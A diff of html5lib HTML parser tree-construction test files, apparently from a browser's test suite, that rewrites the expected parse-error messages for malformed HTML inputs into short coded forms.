+(1,68): unexpected-end-tag
+(1,73): unexpected-end-tag
+(1,81): unexpected-end-tag
+(1,86): unexpected-end-tag
+(1,86): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -288,8 +289,8 @@ Line: 1 Col: 86 Expected closing tag. Unexpected end of file.
#data
<table><caption><div></div>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 27 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,27): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -301,13 +302,13 @@ Line: 1 Col: 27 Expected closing tag. Unexpected end of file.
#data
<table><tr><td></body></caption></col></colgroup></html>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end tag (body). Ignored.
-Line: 1 Col: 32 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 38 Unexpected end tag (col). Ignored.
-Line: 1 Col: 49 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 56 Unexpected end tag (html). Ignored.
-Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,22): unexpected-end-tag
+(1,32): unexpected-end-tag
+(1,38): unexpected-end-tag
+(1,49): unexpected-end-tag
+(1,56): unexpected-end-tag
+(1,56): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -320,12 +321,12 @@ Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
#data
</table></tbody></tfoot></thead></tr><div>
#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-Line: 1 Col: 16 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 24 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 32 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 37 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 42 Expected closing tag. Unexpected end of file.
+(1,8): unexpected-end-tag
+(1,16): unexpected-end-tag
+(1,24): unexpected-end-tag
+(1,32): unexpected-end-tag
+(1,37): unexpected-end-tag
+(1,42): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -334,9 +335,11 @@ td
#data
<table><colgroup>foo
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 20 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,18): foster-parenting-character-in-table
+(1,19): foster-parenting-character-in-table
+(1,20): foster-parenting-character-in-table
+(1,20): eof-in-table
#document
| <html>
| <head>
@@ -348,7 +351,9 @@ Line: 1 Col: 20 Unexpected end of file. Expected table content.
#data
foo<col>
#errors
-Line: 1 Col: 3 Unexpected end tag (colgroup). Ignored.
+(1,1): unexpected-character-in-colgroup
+(1,2): unexpected-character-in-colgroup
+(1,3): unexpected-character-in-colgroup
#document-fragment
colgroup
#document
@@ -357,9 +362,9 @@ colgroup
#data
<table><colgroup></col>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 23 This element (col) has no end tag.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,23): no-end-tag
+(1,23): eof-in-table
#document
| <html>
| <head>
@@ -370,9 +375,9 @@ Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
#data
<frameset><div>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected start tag token (div) in the frameset phase. Ignored.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-in-frameset
+(1,15): eof-in-frameset
#document
| <html>
| <head>
@@ -381,7 +386,7 @@ Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
#data
</frameset><frame>
#errors
-Line: 1 Col: 11 Unexpected end tag token (frameset) in the frameset phase (innerHTML).
+(1,11): unexpected-frameset-in-frameset-innerhtml
#document-fragment
frameset
#document
@@ -390,9 +395,9 @@ frameset
#data
<frameset></div>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end tag token (div) in the frameset phase. Ignored.
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,16): unexpected-end-tag-in-frameset
+(1,16): eof-in-frameset
#document
| <html>
| <head>
@@ -401,8 +406,8 @@ Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
#data
</body><div>
#errors
-Line: 1 Col: 7 Unexpected end tag (body). Ignored.
-Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
+(1,7): unexpected-close-tag
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
body
#document
@@ -411,9 +416,9 @@ body
#data
<table><tr><div>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 16 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,16): unexpected-start-tag-implies-table-voodoo
+(1,16): eof-in-table
#document
| <html>
| <head>
@@ -426,7 +431,7 @@ Line: 1 Col: 16 Unexpected end of file. Expected table content.
#data
</tr><td>
#errors
-Line: 1 Col: 5 Unexpected end tag (tr). Ignored.
+(1,5): unexpected-end-tag
#document-fragment
tr
#document
@@ -435,9 +440,9 @@ tr
#data
</tbody></tfoot></thead><td>
#errors
-Line: 1 Col: 8 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 16 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 24 Unexpected end tag (thead). Ignored.
+(1,8): unexpected-end-tag
+(1,16): unexpected-end-tag
+(1,24): unexpected-end-tag
#document-fragment
tr
#document
@@ -446,10 +451,9 @@ tr
#data
<table><tr><div><td>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 20 Unexpected implied end tag (div) in the table row phase.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,16): foster-parenting-start-tag
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -463,13 +467,12 @@ Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
#data
<caption><col><colgroup><tbody><tfoot><thead><tr>
#errors
-Line: 1 Col: 9 Unexpected start tag (caption).
-Line: 1 Col: 14 Unexpected start tag (col).
-Line: 1 Col: 24 Unexpected start tag (colgroup).
-Line: 1 Col: 31 Unexpected start tag (tbody).
-Line: 1 Col: 38 Unexpected start tag (tfoot).
-Line: 1 Col: 45 Unexpected start tag (thead).
-Line: 1 Col: 49 Unexpected end of file. Expected table content.
+(1,9): unexpected-start-tag
+(1,14): unexpected-start-tag
+(1,24): unexpected-start-tag
+(1,31): unexpected-start-tag
+(1,38): unexpected-start-tag
+(1,45): unexpected-start-tag
#document-fragment
tbody
#document
@@ -478,9 +481,9 @@ tbody
#data
<table><tbody></thead>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end tag (thead) in the table body phase. Ignored.
-Line: 1 Col: 22 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,22): unexpected-end-tag-in-table-body
+(1,22): eof-in-table
#document
| <html>
| <head>
@@ -491,8 +494,7 @@ Line: 1 Col: 22 Unexpected end of file. Expected table content.
#data
</table><tr>
#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-Line: 1 Col: 12 Unexpected end of file. Expected table content.
+(1,8): unexpected-end-tag
#document-fragment
tbody
#document
@@ -501,16 +503,16 @@ tbody
#data
<table><tbody></body></caption></col></colgroup></html></td></th></tr>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected end tag (body) in the table body phase. Ignored.
-Line: 1 Col: 31 Unexpected end tag (caption) in the table body phase. Ignored.
-Line: 1 Col: 37 Unexpected end tag (col) in the table body phase. Ignored.
-Line: 1 Col: 48 Unexpected end tag (colgroup) in the table body phase. Ignored.
-Line: 1 Col: 55 Unexpected end tag (html) in the table body phase. Ignored.
-Line: 1 Col: 60 Unexpected end tag (td) in the table body phase. Ignored.
-Line: 1 Col: 65 Unexpected end tag (th) in the table body phase. Ignored.
-Line: 1 Col: 70 Unexpected end tag (tr) in the table body phase. Ignored.
-Line: 1 Col: 70 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,21): unexpected-end-tag-in-table-body
+(1,31): unexpected-end-tag-in-table-body
+(1,37): unexpected-end-tag-in-table-body
+(1,48): unexpected-end-tag-in-table-body
+(1,55): unexpected-end-tag-in-table-body
+(1,60): unexpected-end-tag-in-table-body
+(1,65): unexpected-end-tag-in-table-body
+(1,70): unexpected-end-tag-in-table-body
+(1,70): eof-in-table
#document
| <html>
| <head>
@@ -521,10 +523,10 @@ Line: 1 Col: 70 Unexpected end of file. Expected table content.
#data
<table><tbody></div>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (div) in table context caused voodoo mode.
-Line: 1 Col: 20 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 20 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,20): unexpected-end-tag-implies-table-voodoo
+(1,20): end-tag-too-early
+(1,20): eof-in-table
#document
| <html>
| <head>
@@ -535,9 +537,9 @@ Line: 1 Col: 20 Unexpected end of file. Expected table content.
#data
<table><table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected start tag (table) implies end tag (table).
-Line: 1 Col: 14 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,14): unexpected-start-tag-implies-end-tag
+(1,14): eof-in-table
#document
| <html>
| <head>
@@ -548,19 +550,19 @@ Line: 1 Col: 14 Unexpected end of file. Expected table content.
#data
<table></body></caption></col></colgroup></html></tbody></td></tfoot></th></thead></tr>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end tag (body). Ignored.
-Line: 1 Col: 24 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 30 Unexpected end tag (col). Ignored.
-Line: 1 Col: 41 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 48 Unexpected end tag (html). Ignored.
-Line: 1 Col: 56 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 61 Unexpected end tag (td). Ignored.
-Line: 1 Col: 69 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 74 Unexpected end tag (th). Ignored.
-Line: 1 Col: 82 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 87 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 87 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,14): unexpected-end-tag
+(1,24): unexpected-end-tag
+(1,30): unexpected-end-tag
+(1,41): unexpected-end-tag
+(1,48): unexpected-end-tag
+(1,56): unexpected-end-tag
+(1,61): unexpected-end-tag
+(1,69): unexpected-end-tag
+(1,74): unexpected-end-tag
+(1,82): unexpected-end-tag
+(1,87): unexpected-end-tag
+(1,87): eof-in-table
#document
| <html>
| <head>
@@ -570,8 +572,7 @@ Line: 1 Col: 87 Unexpected end of file. Expected table content.
#data
</table><tr>
#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-Line: 1 Col: 12 Unexpected end of file. Expected table content.
+(1,8): unexpected-end-tag
#document-fragment
table
#document
@@ -581,8 +582,7 @@ table
#data
<body></body></html>
#errors
-Line: 1 Col: 20 Unexpected html end tag in inner html mode.
-Line: 1 Col: 20 Unexpected EOF in inner html mode.
+(1,20): unexpected-end-tag-after-body-innerhtml
#document-fragment
html
#document
@@ -592,7 +592,7 @@ html
#data
<html><frameset></frameset></html>
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -602,8 +602,7 @@ Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
#data
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"><html></html>
#errors
-Line: 1 Col: 50 Erroneous DOCTYPE.
-Line: 1 Col: 63 Unexpected end tag (html) after the (implied) root element.
+(1,50): unknown-doctype element.
#document
| <!DOCTYPE html "-//W3C//DTD HTML 4.01//EN" "">
| <html>
@@ -613,8 +612,8 @@ Line: 1 Col: 63 Unexpected end tag (html) after the (implied) root element.
#data
<param><frameset></frameset>
#errors
-Line: 1 Col: 7 Unexpected start tag (param). Expected DOCTYPE.
-Line: 1 Col: 17 Unexpected start tag (frameset).
+(1,7): expected-doctype-but-got-start-tag
+(1,17): unexpected-start-tag
#document
| <html>
| <head>
@@ -623,8 +622,8 @@ Line: 1 Col: 17 Unexpected start tag (frameset).
#data
<source><frameset></frameset>
#errors
-Line: 1 Col: 7 Unexpected start tag (source). Expected DOCTYPE.
-Line: 1 Col: 17 Unexpected start tag (frameset).
+(1,8): expected-doctype-but-got-start-tag
+(1,18): unexpected-start-tag
#document
| <html>
| <head>
@@ -633,8 +632,8 @@ Line: 1 Col: 17 Unexpected start tag (frameset).
#data
<track><frameset></frameset>
#errors
-Line: 1 Col: 7 Unexpected start tag (track). Expected DOCTYPE.
-Line: 1 Col: 17 Unexpected start tag (frameset).
+(1,7): expected-doctype-but-got-start-tag
+(1,17): unexpected-start-tag
#document
| <html>
| <head>
@@ -643,9 +642,9 @@ Line: 1 Col: 17 Unexpected start tag (frameset).
#data
</html><frameset></frameset>
#errors
-7: End tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-17: Stray “frameset” start tag.
-17: “frameset” start tag seen.
+(1,7): expected-doctype-but-got-end-tag
+(1,17): expected-eof-but-got-start-tag
+(1,17): unexpected-start-tag
#document
| <html>
| <head>
@@ -654,9 +653,9 @@ Line: 1 Col: 17 Unexpected start tag (frameset).
#data
</body><frameset></frameset>
#errors
-7: End tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-17: Stray “frameset” start tag.
-17: “frameset” start tag seen.
+(1,7): expected-doctype-but-got-end-tag
+(1,17): unexpected-start-tag-after-body
+(1,17): unexpected-start-tag
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests7.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests7.dat
index f5193c660..f9471b9a3 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests7.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests7.dat
@@ -12,8 +12,7 @@
#data
<!doctype html><table><title>X</title></table>
#errors
-Line: 1 Col: 29 Unexpected start tag (title) in table context caused voodoo mode.
-Line: 1 Col: 38 Unexpected end tag (title) in table context caused voodoo mode.
+(1,29): unexpected-start-tag-implies-table-voodoo
#document
| <!DOCTYPE html>
| <html>
@@ -26,7 +25,7 @@ Line: 1 Col: 38 Unexpected end tag (title) in table context caused voodoo mode.
#data
<!doctype html><head></head><title>X</title>
#errors
-Line: 1 Col: 35 Unexpected start tag (title) that can be in head. Moved.
+(1,35): unexpected-start-tag-out-of-my-head
#document
| <!DOCTYPE html>
| <html>
@@ -38,7 +37,7 @@ Line: 1 Col: 35 Unexpected start tag (title) that can be in head. Moved.
#data
<!doctype html></head><title>X</title>
#errors
-Line: 1 Col: 29 Unexpected start tag (title) that can be in head. Moved.
+(1,29): unexpected-start-tag-out-of-my-head
#document
| <!DOCTYPE html>
| <html>
@@ -50,7 +49,7 @@ Line: 1 Col: 29 Unexpected start tag (title) that can be in head. Moved.
#data
<!doctype html><table><meta></table>
#errors
-Line: 1 Col: 28 Unexpected start tag (meta) in table context caused voodoo mode.
+(1,28): unexpected-start-tag-implies-table-voodoo
#document
| <!DOCTYPE html>
| <html>
@@ -62,8 +61,7 @@ Line: 1 Col: 28 Unexpected start tag (meta) in table context caused voodoo mode.
#data
<!doctype html><table>X<tr><td><table> <meta></table></table>
#errors
-Line: 1 Col: 23 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 45 Unexpected start tag (meta) in table context caused voodoo mode.
+(1,45): unexpected-start-tag-implies-table-voodoo
#document
| <!DOCTYPE html>
| <html>
@@ -151,7 +149,7 @@ X</listing>
#data
<!doctype html><select><input>X
#errors
-Line: 1 Col: 30 Unexpected input start tag in the select phase.
+(1,30): unexpected-input-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -164,7 +162,7 @@ Line: 1 Col: 30 Unexpected input start tag in the select phase.
#data
<!doctype html><select><select>X
#errors
-Line: 1 Col: 31 Unexpected select start tag in the select phase treated as select end tag.
+(1,31): unexpected-select-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -176,7 +174,7 @@ Line: 1 Col: 31 Unexpected select start tag in the select phase treated as selec
#data
<!doctype html><table><input type=hidDEN></table>
#errors
-Line: 1 Col: 41 Unexpected input with type hidden in table context.
+(1,41): unexpected-hidden-input-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -189,7 +187,8 @@ Line: 1 Col: 41 Unexpected input with type hidden in table context.
#data
<!doctype html><table>X<input type=hidDEN></table>
#errors
-Line: 1 Col: 23 Unexpected non-space characters in table context caused voodoo mode.
+(1,23): foster-parenting-character
+(1,42): unexpected-hidden-input-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -203,7 +202,7 @@ Line: 1 Col: 23 Unexpected non-space characters in table context caused voodoo m
#data
<!doctype html><table> <input type=hidDEN></table>
#errors
-Line: 1 Col: 43 Unexpected input with type hidden in table context.
+(1,43): unexpected-hidden-input-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -217,7 +216,7 @@ Line: 1 Col: 43 Unexpected input with type hidden in table context.
#data
<!doctype html><table> <input type='hidDEN'></table>
#errors
-Line: 1 Col: 45 Unexpected input with type hidden in table context.
+(1,45): unexpected-hidden-input-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -231,7 +230,8 @@ Line: 1 Col: 45 Unexpected input with type hidden in table context.
#data
<!doctype html><table><input type=" hidden"><input type=hidDEN></table>
#errors
-Line: 1 Col: 44 Unexpected start tag (input) in table context caused voodoo mode.
+(1,44): unexpected-start-tag-implies-table-voodoo
+(1,63): unexpected-hidden-input-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -246,9 +246,9 @@ Line: 1 Col: 44 Unexpected start tag (input) in table context caused voodoo mode
#data
<!doctype html><table><select>X<tr>
#errors
-Line: 1 Col: 30 Unexpected start tag (select) in table context caused voodoo mode.
-Line: 1 Col: 35 Unexpected table element start tag (trs) in the select in table phase.
-Line: 1 Col: 35 Unexpected end of file. Expected table content.
+(1,30): unexpected-start-tag-implies-table-voodoo
+(1,35): unexpected-table-element-start-tag-in-select-in-table
+(1,35): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -274,7 +274,6 @@ Line: 1 Col: 35 Unexpected end of file. Expected table content.
#data
<!DOCTYPE hTmL><html></html>
#errors
-Line: 1 Col: 28 Unexpected end tag (html) after the (implied) root element.
#document
| <!DOCTYPE html>
| <html>
@@ -284,7 +283,6 @@ Line: 1 Col: 28 Unexpected end tag (html) after the (implied) root element.
#data
<!DOCTYPE HTML><html></html>
#errors
-Line: 1 Col: 28 Unexpected end tag (html) after the (implied) root element.
#document
| <!DOCTYPE html>
| <html>
@@ -294,8 +292,7 @@ Line: 1 Col: 28 Unexpected end tag (html) after the (implied) root element.
#data
<body>X</body></body>
#errors
-Line: 1 Col: 21 Unexpected end tag token (body) in the after body phase.
-Line: 1 Col: 21 Unexpected EOF in inner html mode.
+(1,21): unexpected-end-tag-after-body
#document-fragment
html
#document
@@ -306,9 +303,9 @@ html
#data
<div><p>a</x> b
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end tag (x). Ignored.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,13): unexpected-end-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -320,7 +317,7 @@ Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
#data
<table><tr><td><code></code> </table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -335,7 +332,12 @@ Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
#data
<table><b><tr><td>aaa</td></tr>bbb</table>ccc
#errors
-XXX: Fix me
+(1,7): expected-doctype-but-got-start-tag
+(1,10): foster-parenting-start-tag
+(1,32): foster-parenting-character
+(1,33): foster-parenting-character
+(1,34): foster-parenting-character
+(1,45): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -354,7 +356,11 @@ XXX: Fix me
#data
A<table><tr> B</tr> B</table>
#errors
-XXX: Fix me
+(1,1): expected-doctype-but-got-chars
+(1,13): foster-parenting-character
+(1,14): foster-parenting-character
+(1,20): foster-parenting-character
+(1,21): foster-parenting-character
#document
| <html>
| <head>
@@ -367,7 +373,12 @@ XXX: Fix me
#data
A<table><tr> B</tr> </em>C</table>
#errors
-XXX: Fix me
+(1,1): expected-doctype-but-got-chars
+(1,13): foster-parenting-character
+(1,14): foster-parenting-character
+(1,20): foster-parenting-character
+(1,25): unexpected-end-tag
+(1,26): foster-parenting-character
#document
| <html>
| <head>
@@ -381,7 +392,8 @@ XXX: Fix me
#data
<select><keygen>
#errors
-Not known
+(1,8): expected-doctype-but-got-start-tag
+(1,16): unexpected-input-in-select
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests8.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests8.dat
index 90e6c919e..93289f39c 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests8.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests8.dat
@@ -3,9 +3,9 @@
<div></div>
</span>x
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 3 Col: 7 Unexpected end tag (span). Ignored.
-Line: 3 Col: 8 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(3,7): unexpected-end-tag
+(3,8): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -21,9 +21,9 @@ x"
<div>x<div></div>
</span>x
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 2 Col: 7 Unexpected end tag (span). Ignored.
-Line: 2 Col: 8 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(2,7): unexpected-end-tag
+(2,8): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -37,9 +37,9 @@ x"
#data
<div>x<div></div>x</span>x
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 25 Unexpected end tag (span). Ignored.
-Line: 1 Col: 26 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,25): unexpected-end-tag
+(1,26): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -52,9 +52,9 @@ Line: 1 Col: 26 Expected closing tag. Unexpected end of file.
#data
<div>x<div></div>y</span>z
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 25 Unexpected end tag (span). Ignored.
-Line: 1 Col: 26 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,25): unexpected-end-tag
+(1,26): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -67,13 +67,16 @@ Line: 1 Col: 26 Expected closing tag. Unexpected end of file.
#data
<table><div>x<div></div>x</span>x
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 18 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 24 Unexpected end tag (div) in table context caused voodoo mode.
-Line: 1 Col: 32 Unexpected end tag (span) in table context caused voodoo mode.
-Line: 1 Col: 32 Unexpected end tag (span). Ignored.
-Line: 1 Col: 33 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,12): foster-parenting-start-tag
+(1,13): foster-parenting-character
+(1,18): foster-parenting-start-tag
+(1,24): foster-parenting-end-tag
+(1,25): foster-parenting-start-tag
+(1,32): foster-parenting-end-tag
+(1,32): unexpected-end-tag
+(1,33): foster-parenting-character
+(1,33): eof-in-table
#document
| <html>
| <head>
@@ -87,9 +90,8 @@ Line: 1 Col: 33 Unexpected end of file. Expected table content.
#data
x<table>x
#errors
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 9 Unexpected end of file. Expected table content.
+(1,1): expected-doctype-but-got-chars
+(1,9): foster-parenting-character
#document
| <html>
| <head>
@@ -100,10 +102,9 @@ Line: 1 Col: 9 Unexpected end of file. Expected table content.
#data
x<table><table>x
#errors
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected start tag (table) implies end tag (table).
-Line: 1 Col: 16 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 16 Unexpected end of file. Expected table content.
+(1,1): expected-doctype-but-got-chars
+(1,15): unexpected-start-tag-implies-end-tag
+(1,16): foster-parenting-character
#document
| <html>
| <head>
@@ -116,9 +117,9 @@ Line: 1 Col: 16 Unexpected end of file. Expected table content.
#data
<b>a<div></div><div></b>y
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 24 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,24): adoption-agency-1.3
+(1,25): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -133,10 +134,10 @@ Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
#data
<a><div><p></a>
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 15 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 15 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,15): adoption-agency-1.3
+(1,15): adoption-agency-1.3
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests9.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests9.dat
index 554e27aec..40651a061 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests9.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests9.dat
@@ -21,7 +21,7 @@
#data
<!DOCTYPE html><math><mi>
#errors
-25: End of file in a foreign namespace context.
+(1,25) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -33,8 +33,8 @@
#data
<!DOCTYPE html><math><annotation-xml><svg><u>
#errors
-45: HTML start tag “u” in a foreign namespace context.
-45: End of file seen and there were open elements.
+(1,45) unexpected-html-element-in-foreign-content
+(1,45) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -48,8 +48,8 @@
#data
<!DOCTYPE html><body><select><math></math></select>
#errors
-Line: 1 Col: 35 Unexpected start tag token (math) in the select phase. Ignored.
-Line: 1 Col: 42 Unexpected end tag (math) in the select phase. Ignored.
+(1,35) unexpected-start-tag-in-select
+(1,42) unexpected-end-tag-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -60,8 +60,8 @@ Line: 1 Col: 42 Unexpected end tag (math) in the select phase. Ignored.
#data
<!DOCTYPE html><body><select><option><math></math></option></select>
#errors
-Line: 1 Col: 43 Unexpected start tag token (math) in the select phase. Ignored.
-Line: 1 Col: 50 Unexpected end tag (math) in the select phase. Ignored.
+(1,43) unexpected-start-tag-in-select
+(1,50) unexpected-end-tag-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -73,8 +73,7 @@ Line: 1 Col: 50 Unexpected end tag (math) in the select phase. Ignored.
#data
<!DOCTYPE html><body><table><math></math></table>
#errors
-Line: 1 Col: 34 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 41 Unexpected end tag (math) in table context caused voodoo mode.
+(1,34) unexpected-start-tag-implies-table-voodoo
#document
| <!DOCTYPE html>
| <html>
@@ -86,9 +85,10 @@ Line: 1 Col: 41 Unexpected end tag (math) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><math><mi>foo</mi></math></table>
#errors
-Line: 1 Col: 34 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 46 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 53 Unexpected end tag (math) in table context caused voodoo mode.
+(1,34) foster-parenting-start-token
+(1,39) foster-parenting-character
+(1,40) foster-parenting-character
+(1,41) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
